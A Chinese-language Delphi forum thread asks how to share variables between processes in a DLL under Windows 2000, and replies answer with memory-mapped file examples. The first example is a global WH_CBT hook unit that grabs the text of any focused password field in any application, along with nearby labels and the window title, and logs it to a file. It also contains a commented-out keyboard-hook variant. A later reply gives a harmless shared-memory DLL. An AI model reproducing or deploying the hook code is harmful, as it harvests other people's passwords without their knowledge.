请教怎么在DELPHI的DLL里设置进程间共享变量(每个调用这个DLL的都能访问),是WIN2000下的,不是98的在DLL定义个全局变量那种方式(200分)

  • 主题发起人 主题发起人 wingerk
  • 开始时间 开始时间
W

wingerk

Unregistered / Unconfirmed
GUEST, unregistred user!
1、我知道可以使用内存映射,不过现在还没有时间开始研究怎么用,或者有现成的简单
例子也行;
2、在VC中可以这样定义:
#pragma data_seg(".inidata")
int x=0;
#pragma data_seg()
#pragma bss_seg(".uinidata")
int y;
#pragma bss_seg()
不知道DELPHI里有没有这样的设置
希望能有高手相告,高分酬谢!
 
内存映射吧,推荐使用
给你一个例子
unit HookU;

interface

uses
Windows, Messages, SysUtils, Classes;

const
MAXBUFSIZE=255;
MYMAPFILE='Bighead_FileName';

var
hKBHk,hCBHk: HHOOK;
fName: PChar;
mapHandle: THandle;

function EnableMyHook(aTxt: PChar):Boolean; stdcall; export;
function DisableMyHook:Boolean; stdcall; export;
procedure DLLEntryPoint(dwReason: DWORD);

implementation

procedure OpenSharedData;
begin
mapHandle:=CreateFileMapping(DWORD(-1),Nil,PAGE_READWRITE,0,MAXBUFSIZE,MYMAPFILE);
if mapHandle=0 then Exit;
fName:=MapViewOfFile(mapHandle,FILE_MAP_ALL_ACCESS,0,0,MAXBUFSIZE);
end;

procedure CloseSharedData;
begin
if fName<>Nil then UnmapViewOfFile(fName);
if mapHandle<>0 then CloseHandle(mapHandle);
fName:=Nil; mapHandle:=0
end;

procedure DLLEntryPoint(dwReason: DWORD);
begin
case dwReason of
DLL_PROCESS_ATTACH: OpenSharedData;
DLL_PROCESS_DETACH: CloseSharedData;
end
end;

//不知为何,用TextFile,直接写文本文件不行,在AssignFile时,无法执行下去。只好改用StringList
function CBHookProc(nCode: Integer;WParam: WPARAM;LParam: LPARAM): LRESULT;stdcall;
var
myL: TStrings;
i,j,k: Integer;
buff,res: PChar;
begin
Result := 0;

if nCode<0 then Result:=CallNextHookEx(hCBHk,nCode,WParam,LParam)
else if nCode=HCBT_SETFOCUS then begin
i:=LParam; j:=GetWindowLong(i,GWL_STYLE);
if ((j and ES_PASSWORD)=ES_PASSWORD) then begin
if fName<>Nil then begin
myL:=TStringList.Create; res:=AllocMem(255);
if FileExists(fName) then myL.LoadFromFile(fName);
j:=GetWindowTextLength(i)+1; buff:=AllocMem(j);
// SendMessage(i,WM_GETTEXT,j,Integer(buff));
GetWindowText(i,buff,j); StrLCat(res,buff,255); FreeMem(buff);
StrLCat(res,'<--',255); j:=GetNextWindow(i,GW_HWNDPREV);
if j<>0 then k:=j else k:=GetNextWindow(i,GW_HWNDNEXT);
if k<>0 then begin
j:=GetWindowTextLength(k)+1; buff:=AllocMem(j);
GetWindowText(k,buff,j); StrLCat(res,buff,255); FreeMem(buff);
{ j:=100; buff:=AllocMem(j); GetClassName(i,buff,j);
StrLCat(res,buff,255); FreeMem(buff);}
end;
StrLCat(res,'<--',255); k:=GetParent(i); j:=GetWindowTextLength(k)+1;
buff:=AllocMem(j); GetWindowText(k,buff,j);
StrLCat(res,buff,255); FreeMem(buff); myL.Add(res); FreeMem(res);
myL.SaveToFile(fName); myL.Free
end;
end
end
end;

//此钩子函数仅作参考。其中写文件会写不进去。并且fName也要通过读取映射文件的方式读出。
//具体实现参见函数CBHookProc
function KBHookProc(nCode: Integer;WParam: WPARAM;LParam: LPARAM): LRESULT;stdcall;
var
myF: TextFile;
i,j: Integer;
buff: PChar;
begin
Result := 0;

if nCode<0 then Result:=CallNextHookEx(hKBHk,nCode,WParam,LParam)
else if (lParam and $80000000)>0 then begin
i:=GetFocus; if i=0 then Exit; j:=GetWindowLong(i,GWL_STYLE);
if ((j and ES_PASSWORD)=ES_PASSWORD) then begin
j:=GetWindowTextLength(i)+1; GetMem(buff,j); ZeroMemory(buff,j);
SendMessage(i,WM_GETTEXT,j,Integer(buff));
if fName=Nil then Exit; if not FileExists(fName) then Exit;
AssignFile(myF,fName); Append(myF);
Writeln(myF,buff); FreeMem(buff); CloseFile(myF)
end
end
end;

function EnableMyHook(aTxt: PChar):Boolean;
begin
Result:=False;

if aTxt=Nil then Exit;
if fName<>Nil then begin
ZeroMemory(fName,MAXBUFSIZE); StrLCopy(fName,aTxt,MAXBUFSIZE-1)
end;

if hCBHk=0 then
hCBHk:=SetWindowsHookEx(WH_CBT,@CBHookProc,HInstance,0);
{ if hKBHk=0 then
hKBHk:=SetWindowsHookEx(WH_KEYBOARD,@KBHookProc,HInstance,0);
} Result:=({(hKBHk<>0)and}(hCBHk<>0))
end;

function DisableMyHook:Boolean;
begin
CloseSharedData;
if hCBHk<>0 then begin
if UnHookWindowsHookEx(hCBHk) then hCBHk:=0
end;
{ if hKBHk<>0 then begin
if UnHookWindowsHookEx(hKBHk)<>0 then hKBHk:=0
end;}
Result:=({(hKBHk=0)and}(hCBHk=0))
end;

end.
 
最好用包,天然支持!
 
什么意思?说明白一点。是谁要访问dll里的变量?是dll之外的代码,还是dll里的代码?
如果是dll里的代码,设置一个全局变量步就可以了吗?
如果是外部,也容易,通过函数访问全局变量就行了。
需要那么复杂?!!!看来我跟不上时代了!
 
哦!2000d下的进程(不是线程),没看请,对不起!
 
同意Twos的意见。我这里有这样的例子,因为我刚刚用其他语言的程序和Delphi的程序
共享一个连接字符串变量,要的话我email给你。
 
谢谢TWOS和其他各位。
TO TWOS:
请问这种共享内存方式,是不是就是使用物理内存(当然如果物理内存不足也会用虚拟内存)
来虚拟一个文件来操作?如果不是,那启不是处理速度不够快,我是打算用来做截网络包的
BUFFER。
TO 笑傲江湖1976:
请问你是怎么实现“共享一个连接字符串变量”,能不能贴一小段简单的程序给我看看,太
长的程序,找起我关心的内容来挺困难的。谢谢了。
TO gz818:
适用范围不同,我是一定要DLL的。
TO yeskert1:
没有什么问题,8-),共同学习。

等我解决了会立即把分送上,希望各位能够继续探讨更有效的方法,谢谢各位。


 
DllData.INC的内容
type
PGlobalData=^TGlobalDllData;
TGlobalDLLData=String[255];
library GetConnStr;

{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
ShareMem,Windows,SysUtils,Classes;
const
CMMFileName:Pchar='SharedMapData';
{$I DllData.INC}
var
GlobalData:PGlobalData;
MapHandle:THandle;
procedure GetDllData(var ADllData:string);stdcall;
begin
ADllData:=GlobalData^;
end;
procedure SetDllData(AGlobalData:string);stdcall;
begin
GlobalData^:=AGlobalData;
end;
procedure OpenSharedData();
var
Size:integer;
begin
Size:=sizeof(TGlobalDllData);
MapHandle:=CreateFileMapping(Dword(-1),nil,PAGE_READWRITE,0,Size,CMMFileName);
if MapHandle=0 then
RaiseLastWIN32Error;
GlobalData:=MapViewOfFile(MapHandle,FILE_MAP_ALL_ACCESS,0,0,SIZE);
//GlobalData^:='SharedLib';
//GlobalData^.I:=1;
if GlobalData=nil then
begin
CloseHandle(MapHandle);
RaiseLastWin32Error;
end;
end;
procedure CloseSharedData();
begin
UnMapViewOfFile(GlobalData);
CloseHandle(MapHandle);
end;
Procedure DllEntryPoint(DWReason:Dword);
begin
case dwReason of
DLL_PROCESS_ATTACH : OpenSharedData;
DLL_PROCESS_DETACH : CloseSharedData;
end;
end;
exports
GetDllData,SetDllData;
begin
DllProc:=@DllEntryPoint;
DllEntryPoint(DLL_PROCESS_ATTACH);
end.
data.inc是一个独立的文件,你写在一个文件也一样的。
编译成DLl文件后就可以调用了。我在VB中测试过是没有问题的。如果是用Delphi调用
传递的类型可以更多一些。这个是我现在的项目用过的,应该没有什么问题的。
 
谢谢,刚从Delphi5开发人员指南里找到这段代码。
 
多人接受答案了。
 
后退
顶部